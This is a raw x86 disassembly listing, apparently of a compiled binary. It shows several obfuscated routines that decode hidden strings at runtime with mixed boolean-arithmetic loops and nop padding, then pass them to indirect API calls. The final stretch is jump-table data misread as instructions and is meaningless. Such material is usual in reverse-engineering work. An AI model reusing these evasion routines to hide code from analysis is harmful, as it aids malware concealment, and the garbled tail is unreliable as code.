nop
nop
nop
movzx ecx, byte [esp + eax + 0x30fbf078]
xor ecx, eax
mov edx, ecx
not edx
add ecx, 0x3bcb9902
mov esi, ecx
and esi, 0x19
xor ecx, 0x18
lea ecx, [ecx + esi*2]
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esp + eax + 0x30fbf078], cl
inc eax
cmp eax, 0xcf040fb8
jne 0x42d990
mov ecx, edi
push ebx
call fcn.0042f860
jmp dword [0x44ed90]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 4], 0
mov edi, dword [esp]
jmp dword [ecx*4 + 0x44ed98]
add eax, 8
mov dword [esp + 4], 0
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov edi, dword [esp]
jmp dword [eax*4 + 0x44eda0]
mov eax, dword [case.0x42d656.5]
jmp eax
push eax
push 1
push dword [0x452e24]
push ecx
call fcn.00443a10
add esp, 0x10
mov esi, dword [esp + 8]
jmp dword [0x44ee50]
jmp dword [0x44ed50]
push dword [esp + 0x68]
call fcn.0040cb70
add esp, 4
jmp 0x42d373
jmp 0x42d373
push 0x60
push 3
push 0x120089
push esi
push ebp
call fcn.00446a40
add esp, 0x14
push 0x60
push 3
push 0x120089
push esi
push ebp
call fcn.00446a40
add esp, 0x14
jmp dword [0x44ecd4]
mov ecx, edi
call fcn.0042f9d0
push edi
call fcn.0040cb70
add esp, 4
mov ecx, edi
call fcn.0042f9d0
push edi
call fcn.0040cb70
add esp, 4
jmp dword [0x44ed48]
xor esi, esi
add dword [ebp - 0x84], 2
mov edx, dword [ebp - 0x54]
lea eax, [edx + 2]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x20]
lea ebx, [eax + 2]
add dword [ebp - 0x6c], 2
mov eax, dword [ebp - 0x60]
lea edi, [eax + 2]
mov dword [ebp - 0x9c], edi
add edx, 0x2e
mov dword [ebp - 0x54], edx
add dword [ebp - 0x74], 0x17
add eax, 0x1a
mov dword [ebp - 0x60], eax
xor eax, eax
mov dword [ebp - 0x50], 0
cmp esi, 0xc
setne al
lea edx, [ebp - 0x88]
mov dword [ebp - 0x98], edx
xor edx, edx
mov dword [ebp - 0x40], ebx
mov esi, ebx
mov edi, dword [ebp - 0x28]
jmp dword [eax*4 + 0x44ee88]
jmp dword [0x44ee90]
push eax
mov dword [ebp - 0x34], esp
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov dword [ebp - 0x1c], esp
sub esp, 0x10
mov dword [ebp - 0x38], esp
sub esp, 0x14
mov dword [ebp - 0x10], esp
sub esp, 0x1c
mov dword [ebp - 0x18], esp
sub esp, 0x1c
mov dword [ebp - 0x5c], esp
sub esp, 0x18
mov dword [ebp - 0x30], esp
sub esp, 0x1c
mov dword [ebp - 0x14], esp
sub esp, 0xc
mov dword [ebp - 0x44], esp
sub esp, 0x20
mov eax, esp
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], eax
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0x58], esp
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x48], eax
sub esp, 8
mov dword [ebp - 0xa4], esp
sub esp, 8
mov dword [ebp - 0x70], esp
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x80], eax
sub esp, 0x34
mov eax, esp
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x3c], eax
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x2c], eax
sub esp, 8
mov dword [ebp - 0x7c], esp
mov eax, dword [0x452e18]
mov dword [ebp - 0x20], eax
mov dword [edi], 0x21e527fb
mov dword [edi + 4], 0xddb223b0
mov dword [edi + 8], 0xd93ddf20
mov dword [edi + 0xc], 0xd539db54
mov dword [edi + 0x10], 0xd1d6d70b
mov word [edi + 0x14], 0
mov byte [edi + 0x16], 0
mov edx, 0xd001079
nop
nop
nop
nop
movzx ecx, byte [edi + edx - 0xd001079]
lea esi, [edx + ecx]
mov ebx, 2
sub ebx, esi
sub ebx, esi
lea eax, [edx - 0xd001000]
and eax, ecx
add al, al
neg al
movzx eax, al
add eax, esi
not ebx
and ebx, 2
add eax, ebx
add cl, dl
movzx ecx, cl
and ecx, 1
add ecx, ecx
sub eax, ecx
add al, 0xa3
mov byte [edi + edx - 0xd001079], al
inc edx
cmp edx, 0xd001090
jne 0x42e6d0
mov esi, dword [ebp - 0x34]
push esi
push 0
push 0
push 9
push edi
push 0
call dword [ebp - 0x20]
mov ecx, dword [esi]
lea eax, [ecx + ecx]
mov dword [ebp - 0x24], ecx
test ecx, ecx
jns 0x42e73b
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [0x452e18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x9353917d
mov dword [eax + 4], 0x9f0e9d0c
mov dword [eax + 8], 0x9b3b9954
mov dword [eax + 0xc], 0x87278518
mov dword [eax + 0x10], 0x8382816d
mov byte [eax + 0x14], 0
mov ecx, 0x421a95e4
mov edx, 0xbde56a1b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax + ecx - 0x421a95e4]
mov esi, eax
not esi
and esi, ecx
mov edi, edx
xor edi, eax
add edi, eax
lea ebx, [edi + esi]
add esi, edi
inc esi
or eax, ecx
or eax, esi
sub eax, ebx
mov ebx, eax
not ebx
mov esi, 1
sub esi, eax
not esi
or esi, eax
or ebx, 0xfe
add ebx, eax
mov eax, dword [ebp - 0x1c]
and esi, 1
add ebx, esi
add bl, 0x8c
mov byte [eax + ecx - 0x421a95e4], bl
inc ecx
dec edx
cmp ecx, 0x421a95f9
jne 0x42e790
push dword [ebp - 0x34]
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push 9
push eax
push 0
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0x93eb91cc
mov dword [ecx + 4], 0xafcdaddf
mov dword [ecx + 8], 0xabd8a9df
mov dword [ecx + 0xc], 0xa7a6a5d8
mov eax, ecx
add eax, 0x10
mov word [ecx + 0x10], 0
mov ecx, 0x39c96f1d
mov edx, 0xe3
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp - 0x10]
movzx esi, byte [esi + ecx - 0x39c96f1d]
mov edi, esi
not edi
or edi, edx
add edi, ecx
and esi, edx
or esi, edi
mov edi, esi
and edi, 0x73
xor esi, 0xdf10d473
lea ebx, [esi + edi*2]
and esi, 1
or ebx, 1
add ebx, esi
mov esi, dword [ebp - 0x10]
mov byte [esi + ecx - 0x39c96f1d], bl
inc ecx
dec edx
cmp ecx, 0x39c96f2f
jne 0x42e830
mov ebx, dword [ebp - 0x38]
mov edi, ebx
mov ecx, 4
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, ebx
add edi, 0x10
xor edx, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov esi, dword [ebp - 0x5c]
mov dword [esi], 0x812d87c8
mov dword [esi + 4], 0x8d2f833d
mov dword [esi + 8], 0x893c8f3d
mov dword [esi + 0xc], 0x95c78b24
mov dword [esi + 0x10], 0x91209737
mov dword [esi + 0x14], 0x9d209333
mov dword [esi + 0x18], 0x999e9f27
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edx
add al, 0x21
xor al, byte [esi + edx]
add al, 0x5b
mov byte [esi + edx], al
inc edx
cmp edx, 0x1c
jne 0x42e8d0
mov eax, esi
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add edx, 0x1c
add esi, 0x1c
mov edi, edx
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov esi, dword [ebp - 0x14]
mov dword [esi], 0xb925bb40
mov dword [esi + 4], 0xbd5bbf2d
mov dword [esi + 8], 0xb124b32d
mov dword [esi + 0xc], 0xb546b754
mov dword [esi + 0x10], 0xa96cab40
mov eax, esi
add eax, 0x14
mov dword [esi + 0x14], 0xafa8
mov byte [esi + 0x18], 0
mov ecx, 0xd80fa65f
nop
nop
nop
movzx edx, byte [esi + ecx + 0x27f059a1]
xor edx, ecx
mov edi, 2
sub edi, edx
sub edi, edx
mov esi, dword [ebp - 0x14]
not edi
and edi, 2
xor edx, 1
add edx, edi
add dl, 0x24
mov byte [esi + ecx + 0x27f059a1], dl
inc ecx
cmp ecx, 0xd80fa678
jne 0x42e940
mov edx, dword [ebp - 0x30]
mov edi, edx
mov ecx, 5
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x14
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ecx, dword [ebp - 0x44]
mov dword [ecx], ebx
mov eax, dword [ebp - 0x18]
mov dword [ecx + 4], eax
mov dword [ecx + 8], edx
jmp dword [0x44ee84]
push eax
mov dword [ebp - 0x2c], esp
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov dword [ebp - 0x1c], esp
sub esp, 0x10
mov dword [ebp - 0x44], esp
sub esp, 0x14
mov dword [ebp - 0x10], esp
sub esp, 0x1c
mov dword [ebp - 0x18], esp
sub esp, 0x1c
mov dword [ebp - 0x48], esp
sub esp, 0x18
mov dword [ebp - 0x34], esp
sub esp, 0x1c
mov dword [ebp - 0x20], esp
mov eax, dword [0x452e18]
mov dword [ebp - 0x14], eax
mov dword [edi], 0x21e527fb
mov dword [edi + 4], 0xddb223b0
mov dword [edi + 8], 0xd93ddf20
mov dword [edi + 0xc], 0xd539db54
mov dword [edi + 0x10], 0xd1d6d70b
mov word [edi + 0x14], 0
mov byte [edi + 0x16], 0
mov edx, 0xd001079
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edi + edx - 0xd001079]
lea ebx, [edx + ecx]
mov esi, 2
sub esi, ebx
sub esi, ebx
lea eax, [edx - 0xd001000]
and eax, ecx
add al, al
neg al
movzx eax, al
add eax, ebx
not esi
and esi, 2
add eax, esi
add cl, dl
movzx ecx, cl
and ecx, 1
add ecx, ecx
sub eax, ecx
add al, 0xa3
mov byte [edi + edx - 0xd001079], al
inc edx
cmp edx, 0xd001090
jne 0x42ea20
mov esi, dword [ebp - 0x2c]
push esi
push 0
push 0
push 9
push edi
push 0
call dword [ebp - 0x14]
mov ecx, dword [esi]
lea eax, [ecx + ecx]
mov dword [ebp - 0x14], ecx
test ecx, ecx
jns 0x42ea8b
mov eax, 0xffffffff
push eax
call fcn.0040cb60
add esp, 4
mov dword [ebp - 0x3c], eax
mov eax, dword [0x452e18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x9353917d
mov dword [eax + 4], 0x9f0e9d0c
mov dword [eax + 8], 0x9b3b9954
mov dword [eax + 0xc], 0x87278518
mov dword [eax + 0x10], 0x8382816d
mov byte [eax + 0x14], 0
mov edx, 0x421a95e4
mov ecx, 0xbde56a1b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [eax + edx - 0x421a95e4]
mov edi, esi
not edi
and edi, edx
mov ebx, ecx
xor ebx, esi
add ebx, esi
lea eax, [ebx + edi]
add edi, ebx
inc edi
or esi, edx
or esi, edi
sub esi, eax
mov eax, dword [ebp - 0x1c]
mov ebx, esi
not ebx
mov edi, 1
sub edi, esi
not edi
or edi, esi
or ebx, 0xfe
add ebx, esi
and edi, 1
add ebx, edi
add bl, 0x8c
mov byte [eax + edx - 0x421a95e4], bl
inc edx
dec ecx
cmp edx, 0x421a95f9
jne 0x42eae0
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
push dword [ebp - 0x3c]
push 9
push eax
push 0
call dword [ebp - 0x28]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], 0x93eb91cc
mov dword [ebx + 4], 0xafcdaddf
mov dword [ebx + 8], 0xabd8a9df
mov dword [ebx + 0xc], 0xa7a6a5d8
mov eax, ebx
add eax, 0x10
mov word [ebx + 0x10], 0
mov ecx, 0x39c96f1d
mov edx, 0xe3
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebx + ecx - 0x39c96f1d]
mov edi, esi
not edi
or edi, edx
add edi, ecx
and esi, edx
or esi, edi
mov edi, esi
and edi, 0x73
xor esi, 0xdf10d473
lea ebx, [esi + edi*2]
and esi, 1
or ebx, 1
add ebx, esi
mov esi, dword [ebp - 0x10]
mov byte [esi + ecx - 0x39c96f1d], bl
mov ebx, dword [ebp - 0x10]
inc ecx
dec edx
cmp ecx, 0x39c96f2f
jne 0x42eb80
mov ecx, 4
mov esi, dword [ebp - 0x44]
mov edi, esi
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
add esi, 0x10
xor edx, edx
mov edi, esi
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov esi, dword [ebp - 0x48]
mov dword [esi], 0x812d87c8
mov dword [esi + 4], 0x8d2f833d
mov dword [esi + 8], 0x893c8f3d
mov dword [esi + 0xc], 0x95c78b24
mov dword [esi + 0x10], 0x91209737
mov dword [esi + 0x14], 0x9d209333
mov dword [esi + 0x18], 0x999e9f27
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edx
add al, 0x21
xor al, byte [esi + edx]
add al, 0x5b
mov byte [esi + edx], al
inc edx
cmp edx, 0x1c
jne 0x42ec20
mov eax, esi
mov ecx, 7
mov edx, dword [ebp - 0x18]
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add edx, 0x1c
add esi, 0x1c
mov edi, edx
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 0xb925bb40
mov dword [ebx + 4], 0xbd5bbf2d
mov dword [ebx + 8], 0xb124b32d
mov dword [ebx + 0xc], 0xb546b754
mov dword [ebx + 0x10], 0xa96cab40
mov eax, ebx
add eax, 0x14
mov dword [ebx + 0x14], 0xafa8
mov byte [ebx + 0x18], 0
mov ecx, 0xd80fa65f
nop
nop
nop
movzx edx, byte [ebx + ecx + 0x27f059a1]
xor edx, ecx
mov edi, 2
sub edi, edx
sub edi, edx
not edi
and edi, 2
xor edx, 1
add edx, edi
add dl, 0x24
mov byte [ebx + ecx + 0x27f059a1], dl
inc ecx
cmp ecx, 0xd80fa678
jne 0x42ec90
mov edx, dword [ebp - 0x34]
mov edi, edx
mov ecx, 5
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
add edx, 0x14
mov ecx, 1
mov edi, edx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
jmp case.0x42c816.118
enter 0x42, 0x4e
enter 0x42, 0x40
enter 0x42, 0x40
enter 0x42, 0x42
enter 0x42, 0x40
enter 0x42, 0x5c
leave
inc edx
add byte [edx + ecx*8], ah
inc edx
add byte [0x760042ca], dh
leave
inc edx
add byte [ebp - 0x26], bl
inc edx
add byte [edx - 0x26], cl
inc edx
add byte [edx - 0x26], cl
inc edx
add byte [edx], dh
into
inc edx
add byte [esi], bh
into
inc edx
add byte [ecx - 0x32], dh
inc edx
add byte [ebp - 0x26], al
inc edx
add byte [edi + 0x10042ce], dl
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x2e0042ce], dl
fiadd dword [edx]
into
into
inc edx
add al, bl
into
inc edx
add byte [eax], ah
iretd
rol dword [edx], cl
pop ebp
salc
inc edx
add dh, ah
salc
inc edx
add byte [ebp - 0x2effbd2a], cl
salc
inc edx
add byte [edi], ch
fadd dword [edx]
inc edx
retf 66